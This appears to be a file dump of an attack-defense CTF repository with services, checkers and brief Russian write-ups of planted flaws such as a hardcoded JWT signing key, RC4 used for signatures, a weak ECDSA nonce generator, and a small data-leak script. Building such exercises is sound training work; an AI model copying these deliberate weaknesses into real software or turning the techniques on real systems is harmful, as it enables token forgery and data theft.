├── sploits ├── .keep ├── schizichs │ ├── math_error │ │ ├── assets │ │ │ └── solve.jpg │ │ ├── math_sploit_lib.py │ │ ├── math_sploit.py │ │ └── README.md │ ├── default_jwt_key │ │ └── README.md │ ├── public_data │ │ ├── info_exp.py │ │ └── README.md │ └── README.md ├── jeopardy │ ├── tokens │ │ ├── token_abstract.py │ │ ├── elliptic │ │ │ ├── rng.py │ │ │ └── elliptic.py │ │ ├── rc4_token.py │ │ ├── tokens.py │ │ ├── ecdsa_token.py │ │ └── hmac_token.py │ ├── README.md │ ├── jeopardy_lib.py │ └── ecdsa_lll.py ├── amogus_plus_plus │ ├── pb_api_rules_missconfiguration │ │ ├── README.md │ │ └── sploit.py │ ├── path_traversal │ │ ├── README.md │ │ └── sploit.py │ ├── admin_default_creds │ │ ├── README.md │ │ └── sploit.py │ └── prototype_pollution_dos │ │ ├── README.md │ │ └── sploit.py ├── msngr │ └── README.md └── Zapiski │ └── reverse.py ├── services ├── msngr │ ├── data │ │ └── .keep │ ├── src │ │ ├── requirements.txt │ │ ├── utils.py │ │ ├── Dockerfile │ │ ├── protocols │ │ │ ├── key_exchange.py │ │ │ └── cipher.py │ │ ├── db.py │ │ └── msngr.py │ ├── .gitignore │ └── docker-compose.yml ├── amogus_plus_plus │ ├── data │ │ └── .gitkeep │ ├── pocketbase │ │ ├── pb_public │ │ │ └── .gitkeep │ │ ├── pb_data │ │ │ ├── .gitignore │ │ │ └── data.db │ │ └── pb_migrations │ │ │ └── 1689615071_collections_snapshot.js │ ├── .gitignore │ ├── web │ │ ├── .npmrc │ │ ├── .env │ │ ├── entrypoint.sh │ │ ├── static │ │ │ ├── favicon.ico │ │ │ ├── audio │ │ │ │ └── theme.mp3 │ │ │ ├── images │ │ │ │ └── stars.png │ │ │ └── fonts │ │ │ │ └── AmaticSC-Bold.ttf │ │ ├── vite.config.js │ │ ├── .gitignore │ │ ├── .eslintignore │ │ ├── .prettierignore │ │ ├── src │ │ │ ├── lib │ │ │ │ ├── pocketbase.js │ │ │ │ ├── amogus_plus_plus │ │ │ │ │ ├── common.js │ │ │ │ │ └── abstractStatements.js │ │ │ │ ├── server │ │ │ │ │ ├── pocketbase.js │ │ │ │ │ ├── workspaceUtils.js │ │ │ │ │ └── amogus_plus_plus │ │ │ │ │ │ ├── runtime.js │ │ │ │ │ │ └── execute.js │ │ │ │ ├── auth │ │ │ │ │ └── guards.js │ │ │ │ └── FlyingAmogus.svelte │ │ │ ├── routes │ │ │ │ ├── auth │ │ │ │ │ ├── logout │ │ │ │ │ │ └── +page.server.js │ │ │ │ │ ├── login │ │ │ │ │ │ ├── +page.server.js │ │ │ │ │ │ └── +page.svelte │ │ │ │ │ └── signup │ │ │ │ │ │ ├── +page.server.js │ │ │ │ │ │ └── +page.svelte │ │ │ │ ├── +error.svelte │ │ │ │ ├── +page.svelte │ │ │ │ ├── workspace │ │ │ │ │ └── [workspaceId] │ │ │ │ │ │ ├── +page.server.js │ │ │ │ │ │ └── [filename] │ │ │ │ │ │ └── +server.js │ │ │ │ ├── playground │ │ │ │ │ ├── +page.server.js │ │ │ │ │ └── +page.svelte │ │ │ │ └── +layout.svelte │ │ │ ├── hooks.client.js │ │ │ ├── app.html │ │ │ ├── app.d.ts │ │ │ ├── hooks.server.js │ │ │ └── reset.css │ │ ├── .prettierrc │ │ ├── .eslintrc.cjs │ │ ├── Dockerfile │ │ ├── jsconfig.json │ │ ├── svelte.config.js │ │ └── package.json │ ├── cleaner │ │ ├── Dockerfile │ │ └── cleaner.sh │ ├── nginx │ │ └── conf │ │ │ └── default.conf │ └── docker-compose.yml ├── schizichs │ ├── .gitignore │ ├── src │ │ ├── templates │ │ │ ├── footer.html │ │ │ ├── login-successful.html │ │ │ ├── registration-successful.html │ │ │ ├── labs.html │ │ │ ├── index.html │ │ │ ├── menu.html │ │ │ ├── header.html │ │ │ ├── login.html │ │ │ ├── register.html │ │ │ └── input-lab.html │ │ ├── controllers │ │ │ ├── models.go │ │ │ ├── setup.go │ │ │ ├── controller.go │ │ │ ├── jwt.go │ │ │ ├── userController.go │ │ │ └── labContoller.go │ │ ├── Dockerfile │ │ ├── middleware.go │ │ ├── main.go │ │ ├── go.mod │ │ └── routes.go │ ├── .env │ └── docker-compose.yml ├── Zapiski │ ├── server │ ├── Dockerfile │ └── docker-compose.yml └── jeopardy │ ├── requirements.txt │ ├── users.db │ ├── Dockerfile │ ├── docker-compose.yml │ ├── tokens │ ├── token_abstract.py │ ├── elliptic │ │ ├── rng.py │ │ └── elliptic.py │ ├── rc4_token.py │ ├── tokens.py │ ├── ecdsa_token.py │ └── hmac_token.py │ ├── database │ └── database.py │ ├── main.py │ ├── static │ └── style.css │ └── templates │ ├── home.html │ ├── login.html │ └── register.html ├── requirements.txt ├── screenshots ├── top.png └── full-board.png ├── internal └── Zapiski │ ├── build.sh │ ├── src │ ├── game.h │ └── main.c │ └── Makefile ├── checkers ├── requirements.txt ├── jeopardy │ ├── jeopardy_lib.py │ └── checker.py ├── Zapiski │ ├── Zapiski_lib.py │ └── checker.py ├── schizichs │ ├── checker.py │ └── schizics_lib.py └── msngr │ ├── msngr_lib.py │ └── checker.py ├── LICENSE.txt ├── forcad.yml ├── .gitignore ├── README.md └── .github └── workflows └── check-services.yml /sploits/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/msngr/data/.keep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/msngr/src/requirements.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/data/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/pocketbase/pb_public/.gitkeep: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /services/msngr/.gitignore: -------------------------------------------------------------------------------- 1 | data/users.db 2 | logs/* 3 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML==5.4.1 2 | dockerfile-parse==1.2.0 3 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/pocketbase/pb_data/.gitignore: -------------------------------------------------------------------------------- 1 | data* 2 | logs* -------------------------------------------------------------------------------- /services/schizichs/.gitignore: -------------------------------------------------------------------------------- 1 | src/images 2 | src/db 3 | data 4 | !.env 5 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/.gitignore: -------------------------------------------------------------------------------- 1 | !lib/ 2 | !.env 3 | 4 | data/* 5 | !data/.gitkeep -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.npmrc: -------------------------------------------------------------------------------- 1 | engine-strict=true 2 | resolution-mode=highest 3 | -------------------------------------------------------------------------------- /screenshots/top.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/screenshots/top.png -------------------------------------------------------------------------------- /internal/Zapiski/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | 4 | mkdir build 5 | make 6 | mv servers server 7 | -------------------------------------------------------------------------------- /internal/Zapiski/src/game.h: -------------------------------------------------------------------------------- 1 | #ifndef GAME 2 | #define GAME 3 | int game(int); 4 | 5 | #endif 6 | -------------------------------------------------------------------------------- /services/Zapiski/server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/Zapiski/server -------------------------------------------------------------------------------- /services/jeopardy/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome==3.10.4 2 | flask==2.3.2 3 | waitress==2.1.2 4 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/footer.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /screenshots/full-board.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/screenshots/full-board.png -------------------------------------------------------------------------------- /services/jeopardy/users.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/jeopardy/users.db -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.env: -------------------------------------------------------------------------------- 1 | LOCAL_POCKETBASE_ADDRESS = "http://pocketbase:8090" 2 | WORKSPACE_DATA_DIR = "/data" 3 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/entrypoint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | chmod -R 777 /data 4 | 5 | su - node -c "node /app/build" 6 | -------------------------------------------------------------------------------- /sploits/schizichs/math_error/assets/solve.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/sploits/schizichs/math_error/assets/solve.jpg -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/static/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/amogus_plus_plus/web/static/favicon.ico -------------------------------------------------------------------------------- /services/amogus_plus_plus/pocketbase/pb_data/data.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/amogus_plus_plus/pocketbase/pb_data/data.db -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/static/audio/theme.mp3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/amogus_plus_plus/web/static/audio/theme.mp3 -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/static/images/stars.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/amogus_plus_plus/web/static/images/stars.png -------------------------------------------------------------------------------- /checkers/requirements.txt: -------------------------------------------------------------------------------- 1 | checklib==0.5.2 2 | requests==2.31.0 3 | beautifulsoup4==4.12.2 4 | checklib==0.5.2 5 | pwntools==4.10.0 6 | pycryptodome==3.18.0 7 | -------------------------------------------------------------------------------- /services/schizichs/.env: -------------------------------------------------------------------------------- 1 | MYSQL_DATABASE="labs" 2 | MYSQL_USER="goldTrigger" 3 | MYSQL_PASSWORD="goldDigger" 4 | MYSQL_ROOT_PASSWORD="secretPassw0rd" 5 | PORT=9993 6 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/static/fonts/AmaticSC-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dtlhub/dtlad2023/HEAD/services/amogus_plus_plus/web/static/fonts/AmaticSC-Bold.ttf -------------------------------------------------------------------------------- /services/msngr/src/utils.py: -------------------------------------------------------------------------------- 1 | from random import choice 2 | 3 | 4 | def random_bytes(size=120): 5 | return bytes([choice(list(range(256))) for _ in range(size)]) 6 | -------------------------------------------------------------------------------- /services/Zapiski/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:latest 2 | 3 | RUN mkdir -p /service/users 4 | 5 | WORKDIR /service/ 6 | 7 | COPY ./server ./server 8 | 9 | ENTRYPOINT [ "./server" ] 10 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/vite.config.js: -------------------------------------------------------------------------------- 1 | import { sveltekit } from '@sveltejs/kit/vite'; 2 | import { defineConfig } from 'vite'; 3 | 4 | export default defineConfig({ 5 | plugins: [sveltekit()] 6 | }); 7 | -------------------------------------------------------------------------------- /services/msngr/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.11-alpine 2 | 3 | WORKDIR /app 4 | 5 | COPY requirements.txt . 6 | RUN pip install -r requirements.txt 7 | 8 | COPY . . 9 | 10 | CMD [ "./listener.py" ] 11 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /build 4 | /.svelte-kit 5 | /package 6 | vite.config.js.timestamp-* 7 | vite.config.ts.timestamp-* 8 | 9 | **/*Zone.Identifier 10 | data 11 | -------------------------------------------------------------------------------- /services/jeopardy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.10-slim-buster 2 | 3 | WORKDIR /app 4 | 5 | COPY requirements.txt . 6 | 7 | RUN pip install --no-cache-dir -r requirements.txt 8 | 9 | COPY . . 10 | 11 | CMD ["python", "main.py"] 12 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.eslintignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /build 4 | /.svelte-kit 5 | /package 6 | .env 7 | .env.* 8 | !.env.example 9 | 10 | # Ignore files for PNPM, NPM and YARN 11 | pnpm-lock.yaml 12 | package-lock.json 13 | yarn.lock 14 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.prettierignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /build 4 | /.svelte-kit 5 | /package 6 | .env 7 | .env.* 8 | !.env.example 9 | 10 | # Ignore files for PNPM, NPM and YARN 11 | pnpm-lock.yaml 12 | package-lock.json 13 | yarn.lock 14 | -------------------------------------------------------------------------------- /sploits/schizichs/default_jwt_key/README.md: -------------------------------------------------------------------------------- 1 | # Уязвимость 2 | 3 | ```go 4 | const key = "SEСREТ_KEY" 5 | ``` 6 | 7 | Игроки могли подписывать jwt-токены, представляясь любым пользователем, читая его лабораторные работы. 8 | 9 | # Фикс 10 | 11 | Изменить ключ) 12 | -------------------------------------------------------------------------------- /sploits/schizichs/public_data/info_exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests as re 4 | from sys import argv 5 | 6 | ip = argv[1] 7 | port = 9993 8 | print(re.get(f'http://{ip}:{port}/', headers={ 9 | 'Accept': 'application/json' 10 | }).text, flush=True) 11 | 12 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/cleaner/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:20.04 2 | 3 | RUN useradd --no-create-home --shell /bin/false --uid 1000 --user-group cleaner 4 | 5 | COPY cleaner.sh /var/cleaner.sh 6 | 7 | RUN chmod +x /var/cleaner.sh 8 | 9 | USER cleaner 10 | 11 | ENTRYPOINT ["/var/cleaner.sh"] 12 | -------------------------------------------------------------------------------- /services/jeopardy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | services: 4 | app: 5 | build: . 6 | restart: unless-stopped 7 | cpus: 2.0 8 | mem_limit: 800M 9 | pids_limit: 256 10 | volumes: 11 | - ./users.db:/app/users.db 12 | ports: 13 | - "5001:5001" 14 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/pocketbase.js: -------------------------------------------------------------------------------- 1 | import PocketBase from 'pocketbase'; 2 | import { writable } from 'svelte/store'; 3 | 4 | export const pocketbase = new PocketBase('http://localhost:1984').autoCancellation(false); 5 | 6 | export const currentUser = writable(pocketbase.authStore.model); 7 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/cleaner/cleaner.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | while true; do 4 | date -uR 5 | 6 | find "/tmp/data/" \ 7 | -type d \ 8 | -and -not -path "/tmp/data/" \ 9 | -and -not -newermt "-900 seconds" \ 10 | -exec rm -r {} + 11 | 12 | sleep 60 13 | done 14 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/auth/logout/+page.server.js: -------------------------------------------------------------------------------- 1 | import { redirect } from '@sveltejs/kit'; 2 | 3 | export const actions = { 4 | default: async ({ locals }) => { 5 | locals.pocketbase.authStore.clear(); 6 | locals.user = null; 7 | throw redirect(303, '/'); 8 | } 9 | }; 10 | -------------------------------------------------------------------------------- /services/msngr/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | services: 3 | msngr: 4 | build: src 5 | cpus: 1 6 | mem_limit: 500M 7 | pids_limit: 256 8 | restart: unless-stopped 9 | ports: 10 | - 8441:8441 11 | volumes: 12 | - ./logs:/app/logs 13 | - ./data:/app/data 14 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "useTabs": false, 3 | "singleQuote": true, 4 | "trailingComma": "none", 5 | "printWidth": 100, 6 | "plugins": ["prettier-plugin-svelte"], 7 | "pluginSearchDirs": ["."], 8 | "overrides": [{ "files": "*.svelte", "options": { "parser": "svelte" } }] 9 | } 10 | -------------------------------------------------------------------------------- /services/jeopardy/tokens/token_abstract.py: -------------------------------------------------------------------------------- 1 | from abc import ABC 2 | 3 | 4 | class Token(ABC): 5 | def __init__(self, key: bytes) -> None: 6 | pass 7 | 8 | def generate_token(self, data: bytes) -> str: 9 | pass 10 | 11 | def validate_token(self, token: str) -> bool: 12 | pass 13 | -------------------------------------------------------------------------------- /sploits/jeopardy/tokens/token_abstract.py: -------------------------------------------------------------------------------- 1 | from abc import ABC 2 | 3 | 4 | class Token(ABC): 5 | def __init__(self, key: bytes) -> None: 6 | pass 7 | 8 | def generate_token(self, data: bytes) -> str: 9 | pass 10 | 11 | def validate_token(self, token: str) -> bool: 12 | pass 13 | -------------------------------------------------------------------------------- /services/schizichs/src/controllers/models.go: -------------------------------------------------------------------------------- 1 | package controllers 2 | 3 | type LabExistsError struct { 4 | msg string 5 | } 6 | 7 | func (e *LabExistsError) Error() string { return e.msg } 8 | 9 | type InvalidDataError struct { 10 | msg string 11 | } 12 | 13 | func (e *InvalidDataError) Error() string { return e.msg } 14 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/hooks.client.js: -------------------------------------------------------------------------------- 1 | import { currentUser, pocketbase } from '$lib/pocketbase'; 2 | 3 | pocketbase.authStore.loadFromCookie(document.cookie); 4 | pocketbase.authStore.onChange(() => { 5 | currentUser.set(pocketbase.authStore.model); 6 | document.cookie = pocketbase.authStore.exportToCookie({ httpOnly: false }); 7 | }); 8 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/login-successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {{ template "header.html" .}} 5 | 6 |
7 | You have successfully logged in. 8 |
9 | 10 | 11 | {{ template "footer.html" .}} -------------------------------------------------------------------------------- /services/schizichs/src/templates/registration-successful.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | {{ template "header.html" .}} 5 | 6 |
7 | You have successfully registered. 8 |
9 | 10 | 11 | {{ template "footer.html" .}} -------------------------------------------------------------------------------- /internal/Zapiski/Makefile: -------------------------------------------------------------------------------- 1 | CC=clang 2 | CFLAGS=-s -O1 -no-pie -Wl,-z,norelro -fno-stack-protector 3 | 4 | all: ./build/game.o ./build/main.o 5 | $(CC) $(CFLAGS) ./build/game.o ./build/main.o -o servers 6 | 7 | ./build/main.o: ./src/main.c 8 | $(CC) -c ./src/main.c -o ./build/main.o 9 | 10 | ./build/game.o: ./src/game.c 11 | $(CC) -c ./src/game.c -o ./build/game.o -------------------------------------------------------------------------------- /services/amogus_plus_plus/nginx/conf/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | client_max_body_size 10M; 4 | 5 | location ^~ /api/ { 6 | proxy_pass http://pocketbase:8090; 7 | } 8 | 9 | location ^~ /_/ { 10 | proxy_pass http://pocketbase:8090; 11 | } 12 | 13 | location / { 14 | proxy_pass http://web:3000; 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/.eslintrc.cjs: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | root: true, 3 | extends: ['eslint:recommended', 'plugin:svelte/recommended', 'prettier'], 4 | parserOptions: { 5 | sourceType: 'module', 6 | ecmaVersion: 2020, 7 | extraFileExtensions: ['.svelte'] 8 | }, 9 | env: { 10 | browser: true, 11 | es2017: true, 12 | node: true 13 | } 14 | }; 15 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/+error.svelte: -------------------------------------------------------------------------------- 1 | 4 | 5 |

{$page.status}

6 |

{$page.error?.message}

7 | 8 | 20 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/app.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | %sveltekit.head% 8 | 9 | 10 |
%sveltekit.body%
11 | 12 | 13 | -------------------------------------------------------------------------------- /sploits/jeopardy/README.md: -------------------------------------------------------------------------------- 1 | ## Jeopardy service 2 | 1) Первая уязвиомость это захардкоженые ключи в токенах. Ну и в ецдса классе захардкожено d 3 | 2) Вторая уязвиомсть заключается в использовании RC4 для подписи. Необходимо узнать, что RC4 это поточный шифр, то есть шифрование на RC4 <-> ксору на какую то байтовую последовательность, которая генерируется от ключа. Можно найти эту последовательность, поксорив на ключ 4 | 3) ECDSA LLL small nonce, смотрите в ecdsa_lll.py 5 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/app.d.ts: -------------------------------------------------------------------------------- 1 | // See https://kit.svelte.dev/docs/types#app 2 | // for information about these interfaces 3 | declare global { 4 | namespace App { 5 | // interface Error {} 6 | interface Locals { 7 | pocketbase: import('pocketbase').default; 8 | user: import('pocketbase').default['authStore']['model']; 9 | } 10 | // interface PageData {} 11 | // interface Platform {} 12 | } 13 | } 14 | 15 | export {}; 16 | -------------------------------------------------------------------------------- /services/schizichs/src/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:alpine3.18 AS builder 2 | 3 | RUN apk update 4 | 5 | WORKDIR /go/build/webServer 6 | 7 | COPY . . 8 | 9 | RUN go get -d -v 10 | RUN ls /go/build/webServer/templates 11 | RUN GOOS=linux GOARCH=amd64 go build -o /go/build/webServer/server -ldflags="-w -s" 12 | 13 | FROM scratch 14 | 15 | COPY --from=builder /go/build/webServer/server server 16 | COPY --from=builder /go/build/webServer/templates/ templates 17 | 18 | ENTRYPOINT ["/server"] 19 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/labs.html: -------------------------------------------------------------------------------- 1 | 2 | {{ template "header.html" . }} 3 | 4 | 5 | {{ range .payload }} 6 |
7 |

Название: {{.LabName}}

8 |

Результат: {{.TestResult }}

9 |

Теоретическое Значение: {{.Expected}}

10 |

Погрешность: {{.Error}}

11 |

Причина погрешности: {{.Comment}}

12 |
13 | {{end}} 14 | 15 | {{ template "footer.html" .}} -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 2 | Version 2, December 2004 3 | 4 | Copyright (C) 2004 Sam Hocevar 5 | 6 | Everyone is permitted to copy and distribute verbatim or modified 7 | copies of this license document, and changing it is allowed as long 8 | as the name is changed. 9 | 10 | DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE 11 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 12 | 13 | 0. You just DO WHAT THE FUCK YOU WANT TO. 14 | -------------------------------------------------------------------------------- /services/jeopardy/tokens/elliptic/rng.py: -------------------------------------------------------------------------------- 1 | import os 2 | from Crypto.Util.number import bytes_to_long 3 | 4 | class RNG: 5 | def __init__(self) -> None: 6 | self.state = bytes_to_long(os.urandom(32)) 7 | self.modulus = 2**128 8 | self.a = 228 9 | self.b = 0x837d1c76e0f32b2b6b22 10 | 11 | def __clock(self) -> None: 12 | self.state = (self.a * self.state + self.b) % self.modulus 13 | 14 | def randless(self, bound: int) -> int: 15 | self.__clock() 16 | return self.state % bound 17 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/lib/amogus_plus_plus/common.js: -------------------------------------------------------------------------------- 1 | /** 2 | * @param {string} line 3 | * @param {any[]} statements 4 | * @param {any} DefaultStatement 5 | * @returns {any} 6 | */ 7 | export function getStatement(line, statements, DefaultStatement) { 8 | for (const Statement of statements) { 9 | try { 10 | return new Statement(line); 11 | } catch (err) { 12 | /* Line does not match statement */ 13 | } 14 | } 15 | 16 | // If no other statements match 17 | return new DefaultStatement(line); 18 | } 19 | -------------------------------------------------------------------------------- /sploits/jeopardy/tokens/elliptic/rng.py: -------------------------------------------------------------------------------- 1 | import os 2 | from Crypto.Util.number import bytes_to_long 3 | 4 | class RNG: 5 | def __init__(self) -> None: 6 | self.state = bytes_to_long(os.urandom(32)) 7 | self.modulus = 2**100 8 | self.a = 228 9 | self.b = 0x837d1c76e0f32b2b6b226e0135c5f88069768bd796893c15761e66a352abfbb8 10 | 11 | def __clock(self) -> None: 12 | self.state = self.a * self.state + self.b 13 | 14 | def randless(self, bound: int) -> int: 15 | self.__clock() 16 | return self.state % bound 17 | -------------------------------------------------------------------------------- /services/schizichs/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3.8' 2 | services: 3 | labs: 4 | depends_on: 5 | - db 6 | links: 7 | - "db:database" 8 | restart: unless-stopped 9 | build: ./src 10 | env_file: .env 11 | ports: 12 | - 9993:9993 13 | pids_limit: 256 14 | mem_limit: 400M 15 | cpus: 0.5 16 | 17 | db: 18 | image: mysql:latest 19 | restart: unless-stopped 20 | env_file: .env 21 | volumes: 22 | - data:/var/lib/mysql 23 | pids_limit: 256 24 | mem_limit: 400M 25 | cpus: 0.5 26 | 27 | volumes: 28 | data: 29 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:20-alpine AS builder 2 | 3 | WORKDIR /app 4 | 5 | COPY package*.json /app/ 6 | RUN npm ci 7 | 8 | COPY . . 9 | RUN npm run build 10 | RUN npm prune --production 11 | 12 | 13 | FROM node:20-alpine 14 | 15 | WORKDIR /app 16 | RUN chown node:node /app 17 | USER node 18 | 19 | COPY --from=builder --chown=node:node /app/build build/ 20 | COPY --from=builder --chown=node:node /app/node_modules node_modules/ 21 | COPY package.json . 22 | 23 | ENV NODE_ENV=production 24 | 25 | USER root 26 | COPY entrypoint.sh /entrypoint.sh 27 | CMD ["/entrypoint.sh"] 28 | -------------------------------------------------------------------------------- /services/Zapiski/docker-compose.yml: -------------------------------------------------------------------------------- 1 | services: 2 | zapiski: 3 | build: ./ 4 | restart: unless-stopped 5 | pids_limit: 512 6 | mem_limit: 128M 7 | cpus: 0.5 8 | ports: 9 | - 5712:5712 10 | volumes: 11 | - "./users:/service/users" 12 | 13 | cleaner: 14 | image: c4tbuts4d/dedcleaner:latest 15 | restart: unless-stopped 16 | pids_limit: 128 17 | mem_limit: 128M 18 | cpus: 0.25 19 | volumes: 20 | - "./users:/users" 21 | environment: 22 | - DELETE_AFTER=20m 23 | - SLEEP=20m 24 | - DIRS=/users 25 | depends_on: 26 | - zapiski 27 | -------------------------------------------------------------------------------- /services/schizichs/src/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {{ template "header.html" .}} 4 | 5 |

Добро пожаловать в сервис по загрузке лабораторных работ

6 | {{ if ne .Authorized true }} 7 |

Авторизируйтесь, чтобы сдать показания

8 | {{ end }} 9 | 10 |

Лучшие работы за сегодня

11 | 12 | {{ range .publicResults }} 13 |
14 |

Название: {{.LabName}}

15 |

Теоретическое значение: {{.Expected}}

16 |

Погрешность {{.Error}}

17 |
18 | {{end}} 19 | 20 | {{ template "footer.html" .}} 21 | -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/auth/login/+page.server.js: -------------------------------------------------------------------------------- 1 | import { tryHandlePocketbaseError } from '$lib/server/pocketbase'; 2 | import { redirect } from '@sveltejs/kit'; 3 | 4 | export const actions = { 5 | default: async ({ locals, request }) => { 6 | /** @type {{identity: string, password: string}} */ 7 | // @ts-ignore 8 | const data = Object.fromEntries(await request.formData()); 9 | 10 | try { 11 | await locals.pocketbase.collection('users').authWithPassword(data.identity, data.password); 12 | } catch (err) { 13 | tryHandlePocketbaseError(err); 14 | } 15 | 16 | throw redirect(303, '/'); 17 | } 18 | }; 19 | -------------------------------------------------------------------------------- /sploits/schizichs/README.md: -------------------------------------------------------------------------------- 1 | # Описание сервиса 2 | 3 | Сервис представлял собой платформу для сдачи лабораторных работ. 4 | 5 | Публичные данные (название лабораторной работы, теоретическое значение и погрешность) были доступны по пути `http://IP:PORT/` 6 | 7 | Пользователь мог зарегестрироваться и сдать отчет о лабораторной работе, указав теоретическое и экспериментальное значения, комментарий и название лабораторной работы. 8 | 9 | На сервере происходил расчет погрешности измерений, работа отклонялась, если погрешность превышала `0.5` или данные лабораторной были схожи с данными уже существующей работы. 10 | 11 | Флаг содеражался в поле `comment` лабораторной работы. -------------------------------------------------------------------------------- /sploits/schizichs/math_error/math_sploit_lib.py: -------------------------------------------------------------------------------- 1 | from math import atan, pi, tan 2 | 3 | 4 | student_coeff = 100 5 | exp_res = 89.98980417737947 6 | 7 | 8 | def calculate_error(test_res: float, exp_res: float) -> float: 9 | return abs(tan((test_res - exp_res) / exp_res * student_coeff)) 10 | 11 | 12 | def solve(exp_res: float, perc: float, n: int): 13 | if exp_res == 0: 14 | return () 15 | arc_tan = atan(perc) 16 | if exp_res < 0: 17 | exp_res = - exp_res 18 | exp_res = exp_res 19 | lower = exp_res * (-arc_tan/student_coeff + 1) 20 | upper = exp_res * (arc_tan/student_coeff + 1) 21 | return ((lower, upper), (lower + 2 * pi * n, upper + 2 * pi * n)) -------------------------------------------------------------------------------- /services/amogus_plus_plus/web/src/routes/+page.svelte: -------------------------------------------------------------------------------- 1 |

2 | Welcome to the home of 3 | AMONGUSISABIGSUSSYBAKAHAHAHAHAHATHISLANGUAGEISREALLYCOOLPLEASEUSEITMYLIFEDEPENDSONITORELSEPLSPLSPLSPLSPLSPLSPLSkahyghdfhm++ 6 | programming language! 7 |

8 |

9 | Use navigation bar at the top to visit documentation, or sign up to try this language out by 10 | yourself! 11 |

